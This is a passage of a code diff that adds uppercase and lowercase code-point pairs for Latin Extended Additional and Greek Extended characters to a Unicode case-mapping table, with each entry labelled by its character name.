+ ["\u1E04", "\u1E05"], /* LATIN CAPITAL LETTER B WITH DOT BELOW */
+ ["\u1E04", "\u1E05"], /* LATIN SMALL LETTER B WITH DOT BELOW */
+ ["\u1E06", "\u1E07"], /* LATIN CAPITAL LETTER B WITH LINE BELOW */
+ ["\u1E06", "\u1E07"], /* LATIN SMALL LETTER B WITH LINE BELOW */
+ ["\u1E08", "\u1E09"], /* LATIN CAPITAL LETTER C WITH CEDILLA AND ACUTE */
+ ["\u1E08", "\u1E09"], /* LATIN SMALL LETTER C WITH CEDILLA AND ACUTE */
+ ["\u1E0A", "\u1E0B"], /* LATIN CAPITAL LETTER D WITH DOT ABOVE */
+ ["\u1E0A", "\u1E0B"], /* LATIN SMALL LETTER D WITH DOT ABOVE */
+ ["\u1E0C", "\u1E0D"], /* LATIN CAPITAL LETTER D WITH DOT BELOW */
+ ["\u1E0C", "\u1E0D"], /* LATIN SMALL LETTER D WITH DOT BELOW */
+ ["\u1E0E", "\u1E0F"], /* LATIN CAPITAL LETTER D WITH LINE BELOW */
+ ["\u1E0E", "\u1E0F"], /* LATIN SMALL LETTER D WITH LINE BELOW */
+ ["\u1E10", "\u1E11"], /* LATIN CAPITAL LETTER D WITH CEDILLA */
+ ["\u1E10", "\u1E11"], /* LATIN SMALL LETTER D WITH CEDILLA */
+ ["\u1E12", "\u1E13"], /* LATIN CAPITAL LETTER D WITH CIRCUMFLEX BELOW */
+ ["\u1E12", "\u1E13"], /* LATIN SMALL LETTER D WITH CIRCUMFLEX BELOW */
+ ["\u1E14", "\u1E15"], /* LATIN CAPITAL LETTER E WITH MACRON AND GRAVE */
+ ["\u1E14", "\u1E15"], /* LATIN SMALL LETTER E WITH MACRON AND GRAVE */
+ ["\u1E16", "\u1E17"], /* LATIN CAPITAL LETTER E WITH MACRON AND ACUTE */
+ ["\u1E16", "\u1E17"], /* LATIN SMALL LETTER E WITH MACRON AND ACUTE */
+ ["\u1E18", "\u1E19"], /* LATIN CAPITAL LETTER E WITH CIRCUMFLEX BELOW */
+ ["\u1E18", "\u1E19"], /* LATIN SMALL LETTER E WITH CIRCUMFLEX BELOW */
+ ["\u1E1A", "\u1E1B"], /* LATIN CAPITAL LETTER E WITH TILDE BELOW */
+ ["\u1E1A", "\u1E1B"], /* LATIN SMALL LETTER E WITH TILDE BELOW */
+ ["\u1E1C", "\u1E1D"], /* LATIN CAPITAL LETTER E WITH CEDILLA AND BREVE */
+ ["\u1E1C", "\u1E1D"], /* LATIN SMALL LETTER E WITH CEDILLA AND BREVE */
+ ["\u1E1E", "\u1E1F"], /* LATIN CAPITAL LETTER F WITH DOT ABOVE */
+ ["\u1E1E", "\u1E1F"], /* LATIN SMALL LETTER F WITH DOT ABOVE */
+ ["\u1E20", "\u1E21"], /* LATIN CAPITAL LETTER G WITH MACRON */
+ ["\u1E20", "\u1E21"], /* LATIN SMALL LETTER G WITH MACRON */
+ ["\u1E22", "\u1E23"], /* LATIN CAPITAL LETTER H WITH DOT ABOVE */
+ ["\u1E22", "\u1E23"], /* LATIN SMALL LETTER H WITH DOT ABOVE */
+ ["\u1E24", "\u1E25"], /* LATIN CAPITAL LETTER H WITH DOT BELOW */
+ ["\u1E24", "\u1E25"], /* LATIN SMALL LETTER H WITH DOT BELOW */
+ ["\u1E26", "\u1E27"], /* LATIN CAPITAL LETTER H WITH DIAERESIS */
+ ["\u1E26", "\u1E27"], /* LATIN SMALL LETTER H WITH DIAERESIS */
+ ["\u1E28", "\u1E29"], /* LATIN CAPITAL LETTER H WITH CEDILLA */
+ ["\u1E28", "\u1E29"], /* LATIN SMALL LETTER H WITH CEDILLA */
+ ["\u1E2A", "\u1E2B"], /* LATIN CAPITAL LETTER H WITH BREVE BELOW */
+ ["\u1E2A", "\u1E2B"], /* LATIN SMALL LETTER H WITH BREVE BELOW */
+ ["\u1E2C", "\u1E2D"], /* LATIN CAPITAL LETTER I WITH TILDE BELOW */
+ ["\u1E2C", "\u1E2D"], /* LATIN SMALL LETTER I WITH TILDE BELOW */
+ ["\u1E2E", "\u1E2F"], /* LATIN CAPITAL LETTER I WITH DIAERESIS AND ACUTE */
+ ["\u1E2E", "\u1E2F"], /* LATIN SMALL LETTER I WITH DIAERESIS AND ACUTE */
+ ["\u1E30", "\u1E31"], /* LATIN CAPITAL LETTER K WITH ACUTE */
+ ["\u1E30", "\u1E31"], /* LATIN SMALL LETTER K WITH ACUTE */
+ ["\u1E32", "\u1E33"], /* LATIN CAPITAL LETTER K WITH DOT BELOW */
+ ["\u1E32", "\u1E33"], /* LATIN SMALL LETTER K WITH DOT BELOW */
+ ["\u1E34", "\u1E35"], /* LATIN CAPITAL LETTER K WITH LINE BELOW */
+ ["\u1E34", "\u1E35"], /* LATIN SMALL LETTER K WITH LINE BELOW */
+ ["\u1E36", "\u1E37"], /* LATIN CAPITAL LETTER L WITH DOT BELOW */
+ ["\u1E36", "\u1E37"], /* LATIN SMALL LETTER L WITH DOT BELOW */
+ ["\u1E38", "\u1E39"], /* LATIN CAPITAL LETTER L WITH DOT BELOW AND MACRON */
+ ["\u1E38", "\u1E39"], /* LATIN SMALL LETTER L WITH DOT BELOW AND MACRON */
+ ["\u1E3A", "\u1E3B"], /* LATIN CAPITAL LETTER L WITH LINE BELOW */
+ ["\u1E3A", "\u1E3B"], /* LATIN SMALL LETTER L WITH LINE BELOW */
+ ["\u1E3C", "\u1E3D"], /* LATIN CAPITAL LETTER L WITH CIRCUMFLEX BELOW */
+ ["\u1E3C", "\u1E3D"], /* LATIN SMALL LETTER L WITH CIRCUMFLEX BELOW */
+ ["\u1E3E", "\u1E3F"], /* LATIN CAPITAL LETTER M WITH ACUTE */
+ ["\u1E3E", "\u1E3F"], /* LATIN SMALL LETTER M WITH ACUTE */
+ ["\u1E40", "\u1E41"], /* LATIN CAPITAL LETTER M WITH DOT ABOVE */
+ ["\u1E40", "\u1E41"], /* LATIN SMALL LETTER M WITH DOT ABOVE */
+ ["\u1E42", "\u1E43"], /* LATIN CAPITAL LETTER M WITH DOT BELOW */
+ ["\u1E42", "\u1E43"], /* LATIN SMALL LETTER M WITH DOT BELOW */
+ ["\u1E44", "\u1E45"], /* LATIN CAPITAL LETTER N WITH DOT ABOVE */
+ ["\u1E44", "\u1E45"], /* LATIN SMALL LETTER N WITH DOT ABOVE */
+ ["\u1E46", "\u1E47"], /* LATIN CAPITAL LETTER N WITH DOT BELOW */
+ ["\u1E46", "\u1E47"], /* LATIN SMALL LETTER N WITH DOT BELOW */
+ ["\u1E48", "\u1E49"], /* LATIN CAPITAL LETTER N WITH LINE BELOW */
+ ["\u1E48", "\u1E49"], /* LATIN SMALL LETTER N WITH LINE BELOW */
+ ["\u1E4A", "\u1E4B"], /* LATIN CAPITAL LETTER N WITH CIRCUMFLEX BELOW */
+ ["\u1E4A", "\u1E4B"], /* LATIN SMALL LETTER N WITH CIRCUMFLEX BELOW */
+ ["\u1E4C", "\u1E4D"], /* LATIN CAPITAL LETTER O WITH TILDE AND ACUTE */
+ ["\u1E4C", "\u1E4D"], /* LATIN SMALL LETTER O WITH TILDE AND ACUTE */
+ ["\u1E4E", "\u1E4F"], /* LATIN CAPITAL LETTER O WITH TILDE AND DIAERESIS */
+ ["\u1E4E", "\u1E4F"], /* LATIN SMALL LETTER O WITH TILDE AND DIAERESIS */
+ ["\u1E50", "\u1E51"], /* LATIN CAPITAL LETTER O WITH MACRON AND GRAVE */
+ ["\u1E50", "\u1E51"], /* LATIN SMALL LETTER O WITH MACRON AND GRAVE */
+ ["\u1E52", "\u1E53"], /* LATIN CAPITAL LETTER O WITH MACRON AND ACUTE */
+ ["\u1E52", "\u1E53"], /* LATIN SMALL LETTER O WITH MACRON AND ACUTE */
+ ["\u1E54", "\u1E55"], /* LATIN CAPITAL LETTER P WITH ACUTE */
+ ["\u1E54", "\u1E55"], /* LATIN SMALL LETTER P WITH ACUTE */
+ ["\u1E56", "\u1E57"], /* LATIN CAPITAL LETTER P WITH DOT ABOVE */
+ ["\u1E56", "\u1E57"], /* LATIN SMALL LETTER P WITH DOT ABOVE */
+ ["\u1E58", "\u1E59"], /* LATIN CAPITAL LETTER R WITH DOT ABOVE */
+ ["\u1E58", "\u1E59"], /* LATIN SMALL LETTER R WITH DOT ABOVE */
+ ["\u1E5A", "\u1E5B"], /* LATIN CAPITAL LETTER R WITH DOT BELOW */
+ ["\u1E5A", "\u1E5B"], /* LATIN SMALL LETTER R WITH DOT BELOW */
+ ["\u1E5C", "\u1E5D"], /* LATIN CAPITAL LETTER R WITH DOT BELOW AND MACRON */
+ ["\u1E5C", "\u1E5D"], /* LATIN SMALL LETTER R WITH DOT BELOW AND MACRON */
+ ["\u1E5E", "\u1E5F"], /* LATIN CAPITAL LETTER R WITH LINE BELOW */
+ ["\u1E5E", "\u1E5F"], /* LATIN SMALL LETTER R WITH LINE BELOW */
+ ["\u1E60", "\u1E61"], /* LATIN CAPITAL LETTER S WITH DOT ABOVE */
+ ["\u1E60", "\u1E61"], /* LATIN SMALL LETTER S WITH DOT ABOVE */
+ ["\u1E62", "\u1E63"], /* LATIN CAPITAL LETTER S WITH DOT BELOW */
+ ["\u1E62", "\u1E63"], /* LATIN SMALL LETTER S WITH DOT BELOW */
+ ["\u1E64", "\u1E65"], /* LATIN CAPITAL LETTER S WITH ACUTE AND DOT ABOVE */
+ ["\u1E64", "\u1E65"], /* LATIN SMALL LETTER S WITH ACUTE AND DOT ABOVE */
+ ["\u1E66", "\u1E67"], /* LATIN CAPITAL LETTER S WITH CARON AND DOT ABOVE */
+ ["\u1E66", "\u1E67"], /* LATIN SMALL LETTER S WITH CARON AND DOT ABOVE */
+ ["\u1E68", "\u1E69"], /* LATIN CAPITAL LETTER S WITH DOT BELOW AND DOT ABOVE */
+ ["\u1E68", "\u1E69"], /* LATIN SMALL LETTER S WITH DOT BELOW AND DOT ABOVE */
+ ["\u1E6A", "\u1E6B"], /* LATIN CAPITAL LETTER T WITH DOT ABOVE */
+ ["\u1E6A", "\u1E6B"], /* LATIN SMALL LETTER T WITH DOT ABOVE */
+ ["\u1E6C", "\u1E6D"], /* LATIN CAPITAL LETTER T WITH DOT BELOW */
+ ["\u1E6C", "\u1E6D"], /* LATIN SMALL LETTER T WITH DOT BELOW */
+ ["\u1E6E", "\u1E6F"], /* LATIN CAPITAL LETTER T WITH LINE BELOW */
+ ["\u1E6E", "\u1E6F"], /* LATIN SMALL LETTER T WITH LINE BELOW */
+ ["\u1E70", "\u1E71"], /* LATIN CAPITAL LETTER T WITH CIRCUMFLEX BELOW */
+ ["\u1E70", "\u1E71"], /* LATIN SMALL LETTER T WITH CIRCUMFLEX BELOW */
+ ["\u1E72", "\u1E73"], /* LATIN CAPITAL LETTER U WITH DIAERESIS BELOW */
+ ["\u1E72", "\u1E73"], /* LATIN SMALL LETTER U WITH DIAERESIS BELOW */
+ ["\u1E74", "\u1E75"], /* LATIN CAPITAL LETTER U WITH TILDE BELOW */
+ ["\u1E74", "\u1E75"], /* LATIN SMALL LETTER U WITH TILDE BELOW */
+ ["\u1E76", "\u1E77"], /* LATIN CAPITAL LETTER U WITH CIRCUMFLEX BELOW */
+ ["\u1E76", "\u1E77"], /* LATIN SMALL LETTER U WITH CIRCUMFLEX BELOW */
+ ["\u1E78", "\u1E79"], /* LATIN CAPITAL LETTER U WITH TILDE AND ACUTE */
+ ["\u1E78", "\u1E79"], /* LATIN SMALL LETTER U WITH TILDE AND ACUTE */
+ ["\u1E7A", "\u1E7B"], /* LATIN CAPITAL LETTER U WITH MACRON AND DIAERESIS */
+ ["\u1E7A", "\u1E7B"], /* LATIN SMALL LETTER U WITH MACRON AND DIAERESIS */
+ ["\u1E7C", "\u1E7D"], /* LATIN CAPITAL LETTER V WITH TILDE */
+ ["\u1E7C", "\u1E7D"], /* LATIN SMALL LETTER V WITH TILDE */
+ ["\u1E7E", "\u1E7F"], /* LATIN CAPITAL LETTER V WITH DOT BELOW */
+ ["\u1E7E", "\u1E7F"], /* LATIN SMALL LETTER V WITH DOT BELOW */
+ ["\u1E80", "\u1E81"], /* LATIN CAPITAL LETTER W WITH GRAVE */
+ ["\u1E80", "\u1E81"], /* LATIN SMALL LETTER W WITH GRAVE */
+ ["\u1E82", "\u1E83"], /* LATIN CAPITAL LETTER W WITH ACUTE */
+ ["\u1E82", "\u1E83"], /* LATIN SMALL LETTER W WITH ACUTE */
+ ["\u1E84", "\u1E85"], /* LATIN CAPITAL LETTER W WITH DIAERESIS */
+ ["\u1E84", "\u1E85"], /* LATIN SMALL LETTER W WITH DIAERESIS */
+ ["\u1E86", "\u1E87"], /* LATIN CAPITAL LETTER W WITH DOT ABOVE */
+ ["\u1E86", "\u1E87"], /* LATIN SMALL LETTER W WITH DOT ABOVE */
+ ["\u1E88", "\u1E89"], /* LATIN CAPITAL LETTER W WITH DOT BELOW */
+ ["\u1E88", "\u1E89"], /* LATIN SMALL LETTER W WITH DOT BELOW */
+ ["\u1E8A", "\u1E8B"], /* LATIN CAPITAL LETTER X WITH DOT ABOVE */
+ ["\u1E8A", "\u1E8B"], /* LATIN SMALL LETTER X WITH DOT ABOVE */
+ ["\u1E8C", "\u1E8D"], /* LATIN CAPITAL LETTER X WITH DIAERESIS */
+ ["\u1E8C", "\u1E8D"], /* LATIN SMALL LETTER X WITH DIAERESIS */
+ ["\u1E8E", "\u1E8F"], /* LATIN CAPITAL LETTER Y WITH DOT ABOVE */
+ ["\u1E8E", "\u1E8F"], /* LATIN SMALL LETTER Y WITH DOT ABOVE */
+ ["\u1E90", "\u1E91"], /* LATIN CAPITAL LETTER Z WITH CIRCUMFLEX */
+ ["\u1E90", "\u1E91"], /* LATIN SMALL LETTER Z WITH CIRCUMFLEX */
+ ["\u1E92", "\u1E93"], /* LATIN CAPITAL LETTER Z WITH DOT BELOW */
+ ["\u1E92", "\u1E93"], /* LATIN SMALL LETTER Z WITH DOT BELOW */
+ ["\u1E94", "\u1E95"], /* LATIN CAPITAL LETTER Z WITH LINE BELOW */
+ ["\u1E94", "\u1E95"], /* LATIN SMALL LETTER Z WITH LINE BELOW */
+ ["\u0048\u0331", "\u1E96"], /* LATIN SMALL LETTER H WITH LINE BELOW */
+ ["\u0054\u0308", "\u1E97"], /* LATIN SMALL LETTER T WITH DIAERESIS */
+ ["\u0057\u030A", "\u1E98"], /* LATIN SMALL LETTER W WITH RING ABOVE */
+ ["\u0059\u030A", "\u1E99"], /* LATIN SMALL LETTER Y WITH RING ABOVE */
+ ["\u0041\u02BE", "\u1E9A"], /* LATIN SMALL LETTER A WITH RIGHT HALF RING */
+ ["\u1E60", "\u1E9B"], /* LATIN SMALL LETTER LONG S WITH DOT ABOVE */
+ ["\u1E9C", "\u1E9C"], /* LATIN SMALL LETTER LONG S WITH DIAGONAL STROKE */
+ ["\u1E9D", "\u1E9D"], /* LATIN SMALL LETTER LONG S WITH HIGH STROKE */
+ ["\u1E9E", "\u00DF"], /* LATIN CAPITAL LETTER SHARP S */
+ ["\u1E9F", "\u1E9F"], /* LATIN SMALL LETTER DELTA */
+ ["\u1EA0", "\u1EA1"], /* LATIN CAPITAL LETTER A WITH DOT BELOW */
+ ["\u1EA0", "\u1EA1"], /* LATIN SMALL LETTER A WITH DOT BELOW */
+ ["\u1EA2", "\u1EA3"], /* LATIN CAPITAL LETTER A WITH HOOK ABOVE */
+ ["\u1EA2", "\u1EA3"], /* LATIN SMALL LETTER A WITH HOOK ABOVE */
+ ["\u1EA4", "\u1EA5"], /* LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND ACUTE */
+ ["\u1EA4", "\u1EA5"], /* LATIN SMALL LETTER A WITH CIRCUMFLEX AND ACUTE */
+ ["\u1EA6", "\u1EA7"], /* LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND GRAVE */
+ ["\u1EA6", "\u1EA7"], /* LATIN SMALL LETTER A WITH CIRCUMFLEX AND GRAVE */
+ ["\u1EA8", "\u1EA9"], /* LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE */
+ ["\u1EA8", "\u1EA9"], /* LATIN SMALL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE */
+ ["\u1EAA", "\u1EAB"], /* LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND TILDE */
+ ["\u1EAA", "\u1EAB"], /* LATIN SMALL LETTER A WITH CIRCUMFLEX AND TILDE */
+ ["\u1EAC", "\u1EAD"], /* LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND DOT BELOW */
+ ["\u1EAC", "\u1EAD"], /* LATIN SMALL LETTER A WITH CIRCUMFLEX AND DOT BELOW */
+ ["\u1EAE", "\u1EAF"], /* LATIN CAPITAL LETTER A WITH BREVE AND ACUTE */
+ ["\u1EAE", "\u1EAF"], /* LATIN SMALL LETTER A WITH BREVE AND ACUTE */
+ ["\u1EB0", "\u1EB1"], /* LATIN CAPITAL LETTER A WITH BREVE AND GRAVE */
+ ["\u1EB0", "\u1EB1"], /* LATIN SMALL LETTER A WITH BREVE AND GRAVE */
+ ["\u1EB2", "\u1EB3"], /* LATIN CAPITAL LETTER A WITH BREVE AND HOOK ABOVE */
+ ["\u1EB2", "\u1EB3"], /* LATIN SMALL LETTER A WITH BREVE AND HOOK ABOVE */
+ ["\u1EB4", "\u1EB5"], /* LATIN CAPITAL LETTER A WITH BREVE AND TILDE */
+ ["\u1EB4", "\u1EB5"], /* LATIN SMALL LETTER A WITH BREVE AND TILDE */
+ ["\u1EB6", "\u1EB7"], /* LATIN CAPITAL LETTER A WITH BREVE AND DOT BELOW */
+ ["\u1EB6", "\u1EB7"], /* LATIN SMALL LETTER A WITH BREVE AND DOT BELOW */
+ ["\u1EB8", "\u1EB9"], /* LATIN CAPITAL LETTER E WITH DOT BELOW */
+ ["\u1EB8", "\u1EB9"], /* LATIN SMALL LETTER E WITH DOT BELOW */
+ ["\u1EBA", "\u1EBB"], /* LATIN CAPITAL LETTER E WITH HOOK ABOVE */
+ ["\u1EBA", "\u1EBB"], /* LATIN SMALL LETTER E WITH HOOK ABOVE */
+ ["\u1EBC", "\u1EBD"], /* LATIN CAPITAL LETTER E WITH TILDE */
+ ["\u1EBC", "\u1EBD"], /* LATIN SMALL LETTER E WITH TILDE */
+ ["\u1EBE", "\u1EBF"], /* LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE */
+ ["\u1EBE", "\u1EBF"], /* LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE */
+ ["\u1EC0", "\u1EC1"], /* LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE */
+ ["\u1EC0", "\u1EC1"], /* LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE */
+ ["\u1EC2", "\u1EC3"], /* LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE */
+ ["\u1EC2", "\u1EC3"], /* LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE */
+ ["\u1EC4", "\u1EC5"], /* LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE */
+ ["\u1EC4", "\u1EC5"], /* LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE */
+ ["\u1EC6", "\u1EC7"], /* LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW */
+ ["\u1EC6", "\u1EC7"], /* LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW */
+ ["\u1EC8", "\u1EC9"], /* LATIN CAPITAL LETTER I WITH HOOK ABOVE */
+ ["\u1EC8", "\u1EC9"], /* LATIN SMALL LETTER I WITH HOOK ABOVE */
+ ["\u1ECA", "\u1ECB"], /* LATIN CAPITAL LETTER I WITH DOT BELOW */
+ ["\u1ECA", "\u1ECB"], /* LATIN SMALL LETTER I WITH DOT BELOW */
+ ["\u1ECC", "\u1ECD"], /* LATIN CAPITAL LETTER O WITH DOT BELOW */
+ ["\u1ECC", "\u1ECD"], /* LATIN SMALL LETTER O WITH DOT BELOW */
+ ["\u1ECE", "\u1ECF"], /* LATIN CAPITAL LETTER O WITH HOOK ABOVE */
+ ["\u1ECE", "\u1ECF"], /* LATIN SMALL LETTER O WITH HOOK ABOVE */
+ ["\u1ED0", "\u1ED1"], /* LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE */
+ ["\u1ED0", "\u1ED1"], /* LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE */
+ ["\u1ED2", "\u1ED3"], /* LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE */
+ ["\u1ED2", "\u1ED3"], /* LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE */
+ ["\u1ED4", "\u1ED5"], /* LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE */
+ ["\u1ED4", "\u1ED5"], /* LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE */
+ ["\u1ED6", "\u1ED7"], /* LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE */
+ ["\u1ED6", "\u1ED7"], /* LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE */
+ ["\u1ED8", "\u1ED9"], /* LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW */
+ ["\u1ED8", "\u1ED9"], /* LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW */
+ ["\u1EDA", "\u1EDB"], /* LATIN CAPITAL LETTER O WITH HORN AND ACUTE */
+ ["\u1EDA", "\u1EDB"], /* LATIN SMALL LETTER O WITH HORN AND ACUTE */
+ ["\u1EDC", "\u1EDD"], /* LATIN CAPITAL LETTER O WITH HORN AND GRAVE */
+ ["\u1EDC", "\u1EDD"], /* LATIN SMALL LETTER O WITH HORN AND GRAVE */
+ ["\u1EDE", "\u1EDF"], /* LATIN CAPITAL LETTER O WITH HORN AND HOOK ABOVE */
+ ["\u1EDE", "\u1EDF"], /* LATIN SMALL LETTER O WITH HORN AND HOOK ABOVE */
+ ["\u1EE0", "\u1EE1"], /* LATIN CAPITAL LETTER O WITH HORN AND TILDE */
+ ["\u1EE0", "\u1EE1"], /* LATIN SMALL LETTER O WITH HORN AND TILDE */
+ ["\u1EE2", "\u1EE3"], /* LATIN CAPITAL LETTER O WITH HORN AND DOT BELOW */
+ ["\u1EE2", "\u1EE3"], /* LATIN SMALL LETTER O WITH HORN AND DOT BELOW */
+ ["\u1EE4", "\u1EE5"], /* LATIN CAPITAL LETTER U WITH DOT BELOW */
+ ["\u1EE4", "\u1EE5"], /* LATIN SMALL LETTER U WITH DOT BELOW */
+ ["\u1EE6", "\u1EE7"], /* LATIN CAPITAL LETTER U WITH HOOK ABOVE */
+ ["\u1EE6", "\u1EE7"], /* LATIN SMALL LETTER U WITH HOOK ABOVE */
+ ["\u1EE8", "\u1EE9"], /* LATIN CAPITAL LETTER U WITH HORN AND ACUTE */
+ ["\u1EE8", "\u1EE9"], /* LATIN SMALL LETTER U WITH HORN AND ACUTE */
+ ["\u1EEA", "\u1EEB"], /* LATIN CAPITAL LETTER U WITH HORN AND GRAVE */
+ ["\u1EEA", "\u1EEB"], /* LATIN SMALL LETTER U WITH HORN AND GRAVE */
+ ["\u1EEC", "\u1EED"], /* LATIN CAPITAL LETTER U WITH HORN AND HOOK ABOVE */
+ ["\u1EEC", "\u1EED"], /* LATIN SMALL LETTER U WITH HORN AND HOOK ABOVE */
+ ["\u1EEE", "\u1EEF"], /* LATIN CAPITAL LETTER U WITH HORN AND TILDE */
+ ["\u1EEE", "\u1EEF"], /* LATIN SMALL LETTER U WITH HORN AND TILDE */
+ ["\u1EF0", "\u1EF1"], /* LATIN CAPITAL LETTER U WITH HORN AND DOT BELOW */
+ ["\u1EF0", "\u1EF1"], /* LATIN SMALL LETTER U WITH HORN AND DOT BELOW */
+ ["\u1EF2", "\u1EF3"], /* LATIN CAPITAL LETTER Y WITH GRAVE */
+ ["\u1EF2", "\u1EF3"], /* LATIN SMALL LETTER Y WITH GRAVE */
+ ["\u1EF4", "\u1EF5"], /* LATIN CAPITAL LETTER Y WITH DOT BELOW */
+ ["\u1EF4", "\u1EF5"], /* LATIN SMALL LETTER Y WITH DOT BELOW */
+ ["\u1EF6", "\u1EF7"], /* LATIN CAPITAL LETTER Y WITH HOOK ABOVE */
+ ["\u1EF6", "\u1EF7"], /* LATIN SMALL LETTER Y WITH HOOK ABOVE */
+ ["\u1EF8", "\u1EF9"], /* LATIN CAPITAL LETTER Y WITH TILDE */
+ ["\u1EF8", "\u1EF9"], /* LATIN SMALL LETTER Y WITH TILDE */
+ ["\u1EFA", "\u1EFB"], /* LATIN CAPITAL LETTER MIDDLE-WELSH LL */
+ ["\u1EFA", "\u1EFB"], /* LATIN SMALL LETTER MIDDLE-WELSH LL */
+ ["\u1EFC", "\u1EFD"], /* LATIN CAPITAL LETTER MIDDLE-WELSH V */
+ ["\u1EFC", "\u1EFD"], /* LATIN SMALL LETTER MIDDLE-WELSH V */
+ ["\u1EFE", "\u1EFF"], /* LATIN CAPITAL LETTER Y WITH LOOP */
+ ["\u1EFE", "\u1EFF"], /* LATIN SMALL LETTER Y WITH LOOP */
+ ["\u1F08", "\u1F00"], /* GREEK SMALL LETTER ALPHA WITH PSILI */
+ ["\u1F09", "\u1F01"], /* GREEK SMALL LETTER ALPHA WITH DASIA */
+ ["\u1F0A", "\u1F02"], /* GREEK SMALL LETTER ALPHA WITH PSILI AND VARIA */
+ ["\u1F0B", "\u1F03"], /* GREEK SMALL LETTER ALPHA WITH DASIA AND VARIA */
+ ["\u1F0C", "\u1F04"], /* GREEK SMALL LETTER ALPHA WITH PSILI AND OXIA */
+ ["\u1F0D", "\u1F05"], /* GREEK SMALL LETTER ALPHA WITH DASIA AND OXIA */
+ ["\u1F0E", "\u1F06"], /* GREEK SMALL LETTER ALPHA WITH PSILI AND PERISPOMENI */
+ ["\u1F0F", "\u1F07"], /* GREEK SMALL LETTER ALPHA WITH DASIA AND PERISPOMENI */
+ ["\u1F08", "\u1F00"], /* GREEK CAPITAL LETTER ALPHA WITH PSILI */
+ ["\u1F09", "\u1F01"], /* GREEK CAPITAL LETTER ALPHA WITH DASIA */
+ ["\u1F0A", "\u1F02"], /* GREEK CAPITAL LETTER ALPHA WITH PSILI AND VARIA */
+ ["\u1F0B", "\u1F03"], /* GREEK CAPITAL LETTER ALPHA WITH DASIA AND VARIA */
+ ["\u1F0C", "\u1F04"], /* GREEK CAPITAL LETTER ALPHA WITH PSILI AND OXIA */
+ ["\u1F0D", "\u1F05"], /* GREEK CAPITAL LETTER ALPHA WITH DASIA AND OXIA */
+ ["\u1F0E", "\u1F06"], /* GREEK CAPITAL LETTER ALPHA WITH PSILI AND PERISPOMENI */
+ ["\u1F0F", "\u1F07"], /* GREEK CAPITAL LETTER ALPHA WITH DASIA AND PERISPOMENI */
+ ["\u1F18", "\u1F10"], /* GREEK SMALL LETTER EPSILON WITH PSILI */
+ ["\u1F19", "\u1F11"], /* GREEK SMALL LETTER EPSILON WITH DASIA */
+ ["\u1F1A", "\u1F12"], /* GREEK SMALL LETTER EPSILON WITH PSILI AND VARIA */
+ ["\u1F1B", "\u1F13"], /* GREEK SMALL LETTER EPSILON WITH DASIA AND VARIA */
+ ["\u1F1C", "\u1F14"], /* GREEK SMALL LETTER EPSILON WITH PSILI AND OXIA */
+ ["\u1F1D", "\u1F15"], /* GREEK SMALL LETTER EPSILON WITH DASIA AND OXIA */
+ ["\u1F16", "\u1F16"],
+ ["\u1F17", "\u1F17"],
+ ["\u1F18", "\u1F10"], /* GREEK CAPITAL LETTER EPSILON WITH PSILI */
+ ["\u1F19", "\u1F11"], /* GREEK CAPITAL LETTER EPSILON WITH DASIA */
+ ["\u1F1A", "\u1F12"], /* GREEK CAPITAL LETTER EPSILON WITH PSILI AND VARIA */
+ ["\u1F1B", "\u1F13"], /* GREEK CAPITAL LETTER EPSILON WITH DASIA AND VARIA */
+ ["\u1F1C", "\u1F14"], /* GREEK CAPITAL LETTER EPSILON WITH PSILI AND OXIA */
+ ["\u1F1D", "\u1F15"], /* GREEK CAPITAL LETTER EPSILON WITH DASIA AND OXIA */
+ ["\u1F1E", "\u1F1E"],
+ ["\u1F1F", "\u1F1F"],
+ ["\u1F28", "\u1F20"], /* GREEK SMALL LETTER ETA WITH PSILI */
+ ["\u1F29", "\u1F21"], /* GREEK SMALL LETTER ETA WITH DASIA */
+ ["\u1F2A", "\u1F22"], /* GREEK SMALL LETTER ETA WITH PSILI AND VARIA */
+ ["\u1F2B", "\u1F23"], /* GREEK SMALL LETTER ETA WITH DASIA AND VARIA */
+ ["\u1F2C", "\u1F24"], /* GREEK SMALL LETTER ETA WITH PSILI AND OXIA */
+ ["\u1F2D", "\u1F25"], /* GREEK SMALL LETTER ETA WITH DASIA AND OXIA */
+ ["\u1F2E", "\u1F26"], /* GREEK SMALL LETTER ETA WITH PSILI AND PERISPOMENI */
+ ["\u1F2F", "\u1F27"], /* GREEK SMALL LETTER ETA WITH DASIA AND PERISPOMENI */
+ ["\u1F28", "\u1F20"], /* GREEK CAPITAL LETTER ETA WITH PSILI */
+ ["\u1F29", "\u1F21"], /* GREEK CAPITAL LETTER ETA WITH DASIA */
+ ["\u1F2A", "\u1F22"], /* GREEK CAPITAL LETTER ETA WITH PSILI AND VARIA */
+ ["\u1F2B", "\u1F23"], /* GREEK CAPITAL LETTER ETA WITH DASIA AND VARIA */
+ ["\u1F2C", "\u1F24"], /* GREEK CAPITAL LETTER ETA WITH PSILI AND OXIA */
+ ["\u1F2D", "\u1F25"], /* GREEK CAPITAL LETTER ETA WITH DASIA AND OXIA */
+ ["\u1F2E", "\u1F26"], /* GREEK CAPITAL LETTER ETA WITH PSILI AND PERISPOMENI */
